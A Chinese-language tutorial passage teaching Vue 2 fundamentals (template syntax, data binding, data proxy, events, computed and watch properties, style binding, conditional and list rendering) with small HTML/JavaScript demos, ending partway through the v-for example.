系列学习前端之第 8 章:一文掌握 Vue2(核心基础篇)

1、 Vue简介

1.1 简介

  • Vue 是动态构建用户界面的渐进式 JavaScript 框架,Vue 只关注视图层, 采用自底向上增量开发的设计。
  • 采用组件化模式,提高代码复用率、且让代码更好维护。
  • 借鉴 Angular 的模板和数据绑定技术
  • 声明式编码,让编码人员无需直接操作 DOM,提高开发效率。
  • 使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点(借鉴 React 的组件化和虚拟 DOM 技术)。
  • 遵循 MVVM 模式
  • 编码简洁,体积小,运行效率高,适合移动端/PC端开发
  • Vue 2.0 在 2023 年 12 月 31 日停止更新

怎么理解虚拟 DOM?

在原生的 JavaScript 中,数据直接跟页面的 DOM 元素做绑定,但是如果数据发生改变,就需要修改数据与 DOM 元素的绑定关系。

而在 Vue 框架中,引入虚拟 DOM 概念(Virtual-DOM),读取到数据后,先放入到内存,再从内存转成真实 DOM 展示到页面。这样做的好处是:当内存中有数据改变时,使用 Diff 算法找出与原来内存数据的差异,无差异则直接复用旧的数据,而只变动差异部分的数据。

原生 JavaScript 实现: 

Vue 实现: 

 

1.2 Vue 周边库

  • vue-cli: vue 脚手架
  • vue-resource
  • axios
  • vue-router: 路由
  • vuex: 状态管理
  • element-ui: 基于 vue 的 UI 组件库(PC端)

1.3 官网

中文官网:https://cn.vuejs.org/

英文官网:https://vuejs.org/

1.4 第一个 Vue 程序

代码文档结构:vue.js 可以去 CDN 上下载(在页面上打开,复制出来保存成 vue.js,这里使用的是 2.7.9 版本) https://www.bootcdn.cn/

html 代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>HelloWorld</title><!-- CDN引入 Vue.js 库 --><!-- <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.7.9/vue.js"></script> --><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行/*1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;2. id="hello" 的容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;3. hello容器里的代码被称为【Vue模板】;4.Vue实例和容器是一一对应的;5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;*/new Vue({//el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。el: "#hello",//data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。data: {say: "你好,Vue!初次见面,请多关照!"}})}</script>
</head><body><div><h1 id="hello">{{say}}</h1></div>
</body></html>

效果:

小结: 

1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
2. id="hello" 的容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
3. hello容器里的代码被称为【Vue模板】;
4.Vue实例和容器是一一对应的;
5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新。

另:如果是第一次开发 Vue,看到控制台有 2 个提示,请按照以下博客进行解决:

浏览器扩展程序增加 vue_dev_tools 调试工具-CSDN博客

Download the Vue Devtools extension for a better development experience

翻译:下载Vue Devtools扩展以获得更好的开发体验

You are running Vue in development mode.Make sure to turn on production mode when deploying for production.

翻译:您正在开发模式下运行Vue。为生产部署时,请确保打开生产模式。

2、模板语法

Vue 模板语法有 2 大类:插值语法和指令语法。插值语法用于解析标签体内容,指令语法用于解析标签(包括:标签属性、标签体内容、绑定事件等等)。

2.1 插值语法

插值语法:用于解析标签体内容,写法 {{xxx}} ,xxx是 js 表达式,且可以直接读取到data中的所有属性。

2.2 指令语法

指令语法:用于解析标签,例如:v-bind:href="xxx" 或者简写为 :href="xxx",xxx 同样要求是 js 表达式。另:Vue 中有很多的指令,格式都是 v-???

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>模板语法</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行/*插值语法:用于解析标签体内容,写法 {{xxx}} ,xxx是 js 表达式,且可以直接读取到data中的所有属性。指令语法:用于解析标签,例如:v-bind:href="xxx" 或者简写为 :href="xxx",xxx 同样要求是 js 表达式另:Vue 中有很多的指令,格式都是 v-???*/new Vue({//el表达式获取容器el: "#study",data: {nextWord: "人间正道是沧桑",school: {wenxin: "https://yiyan.baidu.com/",name: "B站尚硅谷",address: " https://www.bilibili.com/video/BV1Zy4y1K7SH"}}})}</script>
</head><body><!-- 准备一个 id=study 的容器 --><div id="study"><h1>插值语法,用于解析标签体的内容</h1><h2 style="color:purple">天若有情天亦老,下一句是:{{nextWord}}</h2><hr><h1>指令语法,用于解析标签</h1><a v-bind:href="school.wenxin" target="_blank">文心一言,一个神奇的 AI 网站</a><br><!-- v-bind 可以简写为冒号 --><a :href="school.address" target="_blank">去{{school.name}}学Vue</a></div>
</body></html>

效果:

3、数据绑定

Vue 中有2种数据绑定的方式:单向绑定(v-bind)和双向绑定(v-model)。

3.1 单向绑定

单向绑定(v-bind):数据只能从 data 流向页面

3.2 双向绑定

双向绑定(v-model):数据可以在页面和 data 双向流动

备注:双向绑定一般都应用在表单类(输入类)元素上,如:input、select等

v-model:value 可以简写为 v-model,因为 v-model 默认收集的就是 value 值。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>数据绑定</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行/*Vue 中有2种数据绑定的方式:1、单向绑定(v-bind):数据只能从 data 流向页面2、双向绑定(v-model):数据可以在页面和 data 双向流动备注:双向绑定一般都应用在表单类(输入类)元素上,如:input、select等v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。*/new Vue({//el表达式获取容器el: "#study",data: {nextWord: "远近高低各不同",}})}</script>
</head><body><!-- 准备一个 id=study 的容器 --><div id="study"><h1>单向绑定:数据只能从 data 流向页面</h1>横看成岭侧成峰,下一句是:<input type="text" :value="nextWord"><hr><h1>双向绑定:数据可以在页面和 data 之间互相流通</h1>横看成岭侧成峰,下一句是:<input type="text" v-model="nextWord"><br><!-- 以下代码错误:因为 v-model 只能应用在表单类元素上 --><!-- <h3 v-model:hello="name">你好!</h3> --></div>
</body></html>

效果:

打开“更多标签页”,找到 Vue 调试工具,可以直接修改 data 的数据内容。

4、el 和 data 的两种写法

4.1 el 的两种写法

el 有两种写法,第一种是在构建 Vue 对象时,就指定容器。第二种写法是 Vue 的对象通过调用 $mount 函数,挂载到指定的容器。通过函数挂载的写法更灵活。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>el的两种写法</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行//el 的两种写法const v = new Vue({//第一种写法,构建 Vue 对象时就指定容器//el: "#study",data: {nextWord: "不破楼兰终不还"}});console.log(v);//第二种写法,更灵活v.$mount("#study");//Vue 的对象通过调用 $mount 函数,挂载到指定的容器}</script></head><body><!-- 准备一个 id=study 的容器 --><div id="study"><h1>黄沙百战穿金甲,{{nextWord}}</h1></div>
</body></html>

4.2 data 的两种写法

data 有两种写法,第一种是对象式,这种方式的数据相对固定。第二种是函数式,更加灵活,更符合实际项目开发的需要。

注意事项:

由 Vue 管理的函数,一定不要写箭头函数,比如提到的 data 函数。一旦写了箭头函数,this就不再是 Vue 实例了,而是由 window 来管理。

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>data的两种写法</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行//data 的两种写法const vm = new Vue({el: "#player",//第一种写法:对象式/*data: {who: "乔丹"}*///第二种写法:函数式data: function () {//可以简写为 data(){return {xxx}}console.log(this);//此处的 this 是 Vue 实例对象return {who: "乔丹"}}/* 不要写成以下的箭头函数,归属全局的 window 管理data:()=>{return "";}*/});}</script>
</head><body><!-- 准备一个 id=player 的容器 --><div id="player"><h1>篮球之神:{{who}}</h1></div>
</body></html>

5、理解 MVVM 模型

MVVM 是 Model-View-ViewModel 的简写。它本质上就是MVC的改进版。MVVM模式有助于将应用程序的业务和表示逻辑与用户界面 (UI) 清晰分离。 保持应用程序逻辑和UI之间的清晰分离有助于解决许多开发问题,并使应用程序更易于测试、维护和演变。 它还可以显著提高代码重用机会,并允许开发人员和UI设计人员在开发应用各自的部分时更轻松地进行协作。

在 Vue 没出现的时候,MVVM 模型已经出现并且流行了。所以 Vue 只是参考了该模型,并在此基础上做了优化。

M:模型(Model),对应 Vue 中 data 的数据,一般的 JavaScript 对象

V:视图(View),模板,直接对应 DOM 对象

VM:视图模型(ViewModel),Vue 实例对象。所以一般创建 Vue 对象,都用 vm 去接。

说明:

1、data 中所有的属性,最后都出现在了 vm 身上。

2、vm 身上所有的属性,及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用。

6、数据代理

6.1 什么是数据代理

概念:数据代理,是通过一个对象(中介)代理对另一个对象中属性的操作(读/写)。

跟我们平时生活接触到的:媒婆、房产中介、代理商...是同一个概念。

6.2 回顾 JavaScript 的 Object.defineProperty 方法

在 JavaScript 中,有一个 Object.defineProperty 方法用于代理对象的属性,如:

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>数据代理</title><script>//回顾 Object.defineProperty 方法let number = 30;//创建一个 Person 对象let Person = {name: "渣渣辉",setx: "男",}//使用 Object.defineProperty 代理 Person 对象的属性Object.defineProperty(Person, "age", {//控制属性是否可以枚举,默认是 false。设置为 true 后,代理的该属性就会被认为是 Person 的真正属性enumerable: true,//控制属性是否可以被修改,默认是 false。注意:如果设置了 get、set 就不能在设置 writable,否则会报错//writable: true,//控制属性是否可以被删除,默认是 falseconfigurable: true,//当有程序读取 Person 的 age 属性时,get(getter)函数就会被调用,且返回值就是 age 的值get() {console.log("有程序读取了 age 属性!");return number;},//当有程序修改 Person 的 age 属性时,set(setter)函数就会被调用,且修改的值就是 age 的值set(value) {console.log("有程序修改了 age 属性的值!");number = value;}})</script>
</head><body>
</body></html>

效果:

解读:

1、age 属性本来是不属于 Person 对象的,通过 Object.defineProperty 给 Person 对象代理了 age 属性,age 就会被认为是 Person 的真正属性。可以看到 age(...) 是通过代理得到的。

2、通过代理得到的对象,在设置了 get、set 属性后,就会动态的获取到最新设置的值,这对程序非常有用,可以动态的获取接口返回值,而不是程序写固定。

6.3 Vue 中的数据代理

代码实例(需要把 script 代码放在 body 后):

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>数据代理</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script>
</head><body><!-- 准备一个容器 --><div id="girl"><h3>女孩的名字:{{name}}</h3><h3>女孩的爱好:{{hobby}}</h3></div>
</body>
<script>const vm = new Vue({el: "#girl",data: {name: "小妮仔",hobby: "唱歌,跳民族舞,写前端代码"}})
</script></html>

效果:在控制台输入:  vm  回车

小结:

1、Vue 中的数据代理是通过 Vue 对象(示例中是 vm)来代理 data 对象中属性的操作(读/写)来实现

2、Vue 中的数据代理好处是可以更加方便的操作 data 中的数据

3、具体原理:通过 Object.defineProperty() 把 data 对象中所有属性添加到vm上,为每一个添加到 vm 上的属性,都指定一个 getter/setter 方法,在 getter/setter 方法内部去操作(读/写)data 中对应的属性。

7、事件处理

7.1 绑定监听

Vue 绑定监听有多种写法:

1、v-on:click = "xxx()",xxx 是事件名称

2、@click = "xxx()",也就是 v-on:click 可以简写为 @click

3、@click = "xxx(参数)",其中默认事件的形参是 event,隐含属性对象是 $event

4、事件的回调需要配置在 methods 对象中,最终会在 vm 对象上

5、methods 中配置的函数都是 Vue 管理的函数,不要使用箭头函数,否则 this 就不是 vm 而是 window 了

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>事件处理</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行const vm = new Vue({el: "#game",data: {name: "王者荣耀"},methods: {branch() {console.log(event.target.innerText);//输出触发该方法的属性的文本:请选择分路(不传参数)console.log(this === vm);//此处的 this 是 vm 对象alert("你还没选择分路!");},hero(event, heroName) {console.log(event, heroName);console.log(this === vm);//此处的 this 是 vm 对象alert("你选择的英雄是:" + heroName);}}});}</script>
</head><body><!-- 准备一个 id=game 的容器 --><div id="game"><h1>欢迎来到:{{name}}</h1><button v-on:click="branch()">请选择分路(不传参数)</button><button @click="hero($event, '亚瑟')">请选择英雄(传参)</button></div>
</body></html>

效果:

7.2 事件修饰符

Vue 中的修饰符主要有以下几种

  1. prevent:阻止默认事件(常用),即调用了 event.preventDefault() 
  2. stop:阻止事件冒泡(常用),冒泡:向父级传递事件。即调用了 event.stopPropagation() 
  3. once:事件只触发一次(常用)
  4. capture:使用事件的捕获模式
  5. self:只有 event.target 是当前操作的元素时才触发事件
  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕
  7. 修饰符可以连续写,比如:@click.prevent.stop="xxx"

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>事件修饰符</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行const vm = new Vue({el: "#game",data: {name: "王者荣耀"},methods: {baidu() {console.log("无法跳到百度首页,因为加了 prevent 后会阻止默认事件(跳转事件)");},atguigu() {console.log("可以触发默认事件,比如:a标签的跳转事件");},daye(dragon) {console.log("正在打的野怪是:" + dragon);},victory() {console.log("我们胜利了!");}}});}</script>
</head><body><!-- 准备一个 id=game 的容器 --><div id="game"><h1>欢迎来到:{{name}}</h1><!-- 默认事件 --><div><!-- 没有阻止默认事件 --><a href="https://www.bilibili.com/video/BV1Zy4y1K7SH" @click="atguigu()" target="_blank">点我去尚硅谷学Vue!</a><!-- 阻止默认事件(常用) --><a href="http://www.baidu.com" @click.prevent="baidu()">点我去百度首页</a></div><!-- 事件的冒泡(向父级传递事件) --><div class="dragon" @click="daye('风暴龙王')"><!-- 没有阻止事件的冒泡的情况 --><button @click="daye('主宰')">我在打</button><!-- 阻止了事件的冒泡 --><button @click.stop="daye('暴君')">敌方在打</button></div><!-- 事件触发 --><div><!-- 事件只触发一次(常用) --><button @click.once="victory()">推倒对面水晶</button></div></div><style>* {margin: 10px;}/* 给 class="dragon" 加背景色  */.dragon {background-color: green;}</style>
</body></html>

效果:

7.3 键盘事件

Vue 中常用的按键别名:

回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合 keydown 去使用)
上 => up
下 => down
左 => left
右 => right

另外:

Vue 未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

系统修饰键(用法特殊):ctrl、alt、shift、meta(菜单键,也叫 win 键)

(1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。

(2)配合keydown使用:可以正常触发事件。

也可以使用 keyCode 去指定具体的按键(不推荐),因为会存在不同的电脑、操作系统,keyCode 不同的情况。

除了使用 Vue 提供的按键别名外,我们也可以自定义按键别名。

按键事件与修饰符事件一样,支持连续写。比如:@keydown.enter.delete="xxx"

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>键盘事件</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//自定义一个按键的别名,值等于13(13是回车对应的 code 值)Vue.config.keyCodes.huiche = 13;const vm = new Vue({el: "#keyboard",data: {name: "键盘事件"},methods: {//输出用户按下键盘的key和keyCodeshowKeyCode(e) {console.log("key=" + e.key, "keyCode=" + e.keyCode);},cooking(e) {//在控制台输出当前元素的值console.log(e.target.value);},travel(e) {//在控制台输出当前元素的值console.log(e.target.value);}}});}</script>
</head><body><!-- 准备一个 id=keyboard 的容器 --><div id="keyboard"><h2>这一节学习:{{name}}</h2><!-- 输出用户按下键盘的key和keyCode -->快看看按键都是什么吧:<input type="text" placeholder="快看看按键都是什么吧" @keydown="showKeyCode"><hr><!-- 使用 Vue 提供常用的按键别名 -->你想吃什么?来点菜吧!<input type="text" placeholder="你想吃什么?来点菜吧!" @keydown.enter="cooking"><hr><!-- 使用自定义键名 -->你想去哪里旅游?<input type="text" placeholder="你想去哪里旅游?" @keydown.huiche="travel"></div>
</body></html>

效果:

8、计算属性与监视

8.1 计算属性 computed

1、定义:要用的属性不存在,要通过已有属性计算得来。

2、原理:底层借助了 Objcet.defineproperty 方法提供的 getter 和 setter。在 computed 对象中定义计算属性。同时,在页面中使用 {{方法名}} 来显示计算的结果。

3、get 函数什么时候执行?

  1. 初次读取时会执行一次
  2. 当依赖的数据发生改变时会被再次调用

4、优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。

5、备注:

  1. 计算属性最终会出现在 vm 上,直接读取使用即可。
  2. 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变。

复习:使用 method 方式的代码示例(不会使用缓存,每次用到 method 方法时都要重新调用):

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>计算属性-method</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#computed",data: {heroName: "妲己",brands: "中路"},methods: {//显示英雄的打法play() {console.log("method 方式 调用了 play 方法 at " + Date.now());return this.heroName + "-" + this.brands;}}});}</script>
</head><body><!-- 准备一个 id=computed 的容器 --><div id="computed">英雄:<input type="text" v-model="heroName"><br><br>分路:<input type="text" v-model="brands"><br><br>打法1:<span>{{play()}}</span><br><br>打法2:<span>{{play()}}</span><br><br>打法3:<span>{{play()}}</span></div>
</body></html>

效果:

computed 方式的代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>计算属性-computed</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#computed",data: {heroName: "程咬金",brands: "上单"},computed: {//完整写法play: {get() {console.log("computed 方式,调用了 get 方法 at " + Date.now());return this.heroName + "-" + this.brands;},set(value) {console.log("value=" + value + "调用了 set 方法 at " + Date.now());return this.heroName + "-" + this.brands;}},//简写:当确定 computed 只有读取数据时,可以简写play2() {console.log("调用了 play2 方法 at " + Date.now());return this.heroName + "-" + this.brands;}}});}</script>
</head><body><!-- 准备一个 id=computed 的容器 --><div id="computed">英雄:<input type="text" v-model="heroName"><br><br>分路:<input type="text" v-model="brands"><br><br>打法1:<span>{{play}}</span><br><br>打法2:<span>{{play}}</span><br><br>打法3:<span>{{play}}</span><hr>简写:<span>{{play2}}</span></div>
</body></html>

效果:

8.2 监视属性 watch

对监视属性的理解

1、通过通过 vm 对象的 $watch() 或 watch 配置来监视指定的属性
2、当属性变化时, 回调函数自动调用,在函数内部进行计算

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>监视属性-watch</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#eat",data: {//判断如果是夏天,就吃冰淇淋,冬天吃火锅weather: "夏天",isSummer: true,},computed: {season() {return this.weather;},food() {return this.isSummer ? "冰淇淋" : "火锅";}},methods: {changeWeather() {//把布尔值取反this.isSummer = !this.isSummer;if (this.weather == "夏天") {this.weather = "冬天";return "冬天";} else {this.weather = "夏天";return "夏天";}}},//写法1,创建对象时就开始监视/*watch: {isSummer: {immediate: true,//初始化时让handler调用一下handler(newValue, oldValue) {console.log("isSummer 被修改成:" + this.isSummer);console.log("newValue=" + newValue);console.log("oldValue=" + oldValue);}},weather: {immediate: true,//初始化时让handler调用一下handler(newValue, oldValue) {console.log("weather 被修改成:" + this.weather);console.log("newValue=" + newValue);console.log("oldValue=" + oldValue);}}}*/});//写法2,使用挂载的方式vm.$watch("isSummer", {immediate: true,//初始化时让handler调用一下handler(newValue, oldValue) {console.log("isSummer 被修改成:" + this.isSummer);console.log("newValue=" + newValue);console.log("oldValue=" + oldValue);}});vm.$watch("weather", {immediate: true,//初始化时让handler调用一下handler(newValue, oldValue) {console.log("weather 被修改成:" + this.weather);console.log("newValue=" + newValue);console.log("oldValue=" + oldValue);}});}</script>
</head><body><!-- 准备一个容器 --><div id="eat"><h2>现在是:{{season}},我喜欢吃:{{food}}</h2><button @click="changeWeather">切换夏天/冬天</button></div>
</body></html>

效果:

小结:

1、当被监视的属性变化时,回调函数自动调用,进行相关操作

2、监视的属性必须存在,才能进行监视。

3、如果加上 immediate: true 属性,在初始化时就会让 handler 执行一次,当然了,这时候的 oldValue 是还没有的,所以输出了 undefined

4、监视的两种写法:

  1. new Vue 时传入 watch 配置
  2. 通过 vm.$watch() 监视

8.3 深度监视

Vue 中的 watch 默认不监视对象内部值的改变(只监视第一层)。

配置 deep=true 可以监视对象内部值的改变(支持多层)。

备注:

  1. Vue 自身可以监视对象内部值的改变,但Vue提供的 watch 默认不可以!需要配置 deep=true 才可以
  2. 使用 watch 时要根据数据结构来决定是否采用深度监视,因为深度监视效率不高且很耗性能。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>深度监视</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#eat",data: {isSummer: true,price: {A: "冰淇淋卖¥10",B: "火锅卖¥88"}},computed: {food() {return this.isSummer ? "冰淇淋" : "火锅";}},methods: {changeWeather() {//把布尔值取反this.isSummer = !this.isSummer;//根据 isSummer 修改 price 的内容if (this.isSummer) {this.price.A = "冰淇淋涨价卖¥15";} else {this.price.B = "火锅涨价卖¥99";}}},watch: {isSummer: {immediate: true,//初始化时让handler调用一下handler(newValue, oldValue) {console.log("isSummer 被修改成:" + this.isSummer);}},price: {deep: true,handler() {if (this.isSummer) {console.log("夏天了," + this.price.A);} else {console.log("冬天了," + this.price.B);}}}}});}</script>
</head><body><!-- 准备一个容器 --><div id="eat"><h2>我喜欢吃:{{food}}</h2><button @click="changeWeather">切换夏天/冬天</button></div>
</body></html>

效果:当修改 price 对象内部的属性时(即 price 内部属性发生变化),配置了 deep=true,就能做深度监视

watch 支持简写,前提是不配置 immediate 和 deep 等信息,且注意不能写成箭头函数如:

//isSummer 简写形式,前提是不配置 immediate 和 deep 等信息

 isSummer(newValue, oldValue) {

      console.log("isSummer 被修改成:" + this.isSummer);

}

8.4、computed 和 watch 之间的区别

  1. computed 能完成的功能,watch 都可以完成。
  2. watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作。

两个重要的原则:

1、所有被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象。

2、所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise的回调函数)但是写在了 Vue 对象范围内,最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>watch内使用箭头函数</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#performer",data: {star: "陈奕迅",song: "",famous: "",},watch: {star(value) {console.log("star被监视到修改为" + value);this.famous = value + "-" + this.song;},song(value) {setTimeout(() => {console.log("song被监视到修改为" + value);console.log("watch内的箭头函数的this=", this);this.famous = this.star + "-" + value;}, 1000); //1秒后执行}}});}</script>
</head><body><!-- 准备一个容器 --><div id="performer">歌手:<input type="text" v-model="star"><br><br>歌曲:<input type="text" v-model="song"><br><br>歌手&主打歌曲:<span>{{famous}}</span></div>
</body></html>

效果:

9、绑定样式

在应用界面中,某些元素的样式是变化的,class/style 绑定就是专门用来实现动态样式效果的技术。

9.1 class 样式

写法:class="xxx" xxx可以是字符串、对象、数组。

  • 表达式是字符串 : 'classA'。字符串写法适用于:类名不确定,要动态获取。
  • {classA:isA, classB: isB}。对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
  • ['classA', 'classB']。数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

9.2 style 样式

:style="{fontSize: xxx}"其中xxx是动态值。其中 activeColor/fontSize 是 data 属性

:style="[a,b]"其中a、b是样式对象。

示例代码:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>绑定样式</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#bindClass",data: {name: "vue",languageClass: "vue",classArr: ["beijing", "shanghai", "shenzhen"],classObj: {beijing: false,shanghai: false,shenzhen: true},styleObj: {backgroundColor: "orange",fontSize: "20px",},styleArr: [{backgroundColor: "purple",fontSize: "30px",}, {color: "blue"}]},methods: {coding() {const arr = ["vue", "java", "php"];const index = Math.floor(Math.random() * 3);this.name = arr[index];this.languageClass = arr[index];},}});}</script>
</head><body><!-- 准备一个容器 --><div id="bindClass">绑定class样式--字符串写法:<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 --><div class="basic" :class="languageClass" @click="coding">{{name}}是世界上最好的编程语言?</div><hr>绑定class样式--数组写法:<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 --><div class="basic" :class="classArr">{{name}}</div><hr>绑定class样式--对象写法:<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 --><div class="basic" :class="classObj">{{name}}</div><hr>绑定style样式--对象写法:<!-- 绑定style样式--对象写法 --><div class="basic" :style="styleObj">{{name}}</div><hr>绑定style样式--数组写法:<!-- 绑定style样式--数组写法 --><div class="basic" :style="styleArr">{{name}}</div></div><style>/* 基本样式 */.basic {width: 300px;height: 100px;border: 1px solid black;}.vue {background-color: green;}.java {background-color: skyblue;}.php {background-color: lightpink;}/* 字体大小:30px */.shenzhen {font-size: 30px;}/* 水平对齐方式:居中对齐 */.beijing {color: red;}/* 字体颜色:红色 */.shanghai {text-align: center;}</style>
</body></html>

效果:

10、条件渲染

10.1 v-if

写法

v-if="表达式" 

v-else-if="表达式"

v-else="表达式"

适用于:切换频率较低的场景。

特点:不展示的DOM元素直接被移除。

注意:v-if 可以和 :v-else-if、v-else一起使用,但要求结构不能被“打断”。

10.2 v-show

写法:  v-show="表达式"

适用于:切换频率较高的场景。

特点:不展示的 DOM 元素未被移除,仅仅是使用样式隐藏掉。

备注:使用 v-if 的时,元素可能无法获取到,而使用 v-show 一定可以获取到。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>条件渲染</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#income",data: {name: "日薪月亿论坛",n: 0}});}</script>
</head><body><!-- 准备一个容器 --><div id="income"><h2>我当前的月薪是:{{n}} 万</h2><button @click="n++">点我可以涨薪</button><!-- 使用 v-show 做条件渲染 --><h3 v-show="true">欢迎来到:{{name}}</h3><h3 v-show="false">你们聊,我隐身</h3><h3 v-show="n === 3">月薪3万不是梦!</h3><!-- 使用 v-if、v-else-if和v-else --><div v-if="n === 1">月薪{{n}}万</div><div v-else-if="n ===2">月薪{{n}}万</div><!-- 要求结构不能被“打断”,下面一行代码位置不正确 --><!-- <div>我在 v-if 中间插入某个元素,打断你们聊天!</div> --><div v-else-if="n === 3">月薪{{n}}万</div><div v-else>瞎扯!</div><!-- v-if 与 template 配合使用 --><template v-if="n === 2"><h2>在下面的城市可以轻松拿月薪{{n}}万</h2><h3>北京</h3><h3>上海</h3><h3>深圳</h3></template></div>
</body></html>

效果:

11、列表渲染

11.1 v-for

1、v-for 的作用:用于展示列表数据

2、语法:

v-for="(item, index) in xxx"  :key="yyy"                  其中 in 可以替换为  of

3、可以遍历:数组、对象、字符串(用得比较少)、指定次数(用得很少)

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>v-for使用</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#sport",data: {ballArr: [{ id: "01", name: "足球", translate: "football" },{ id: "02", name: "篮球", translate: "basketball" },{ id: "03", name: "羽毛球", translate: "badminton" },],dog: {name: "旺财",color: "黄色",weight: "10斤"},str: "girl"}});}</script>
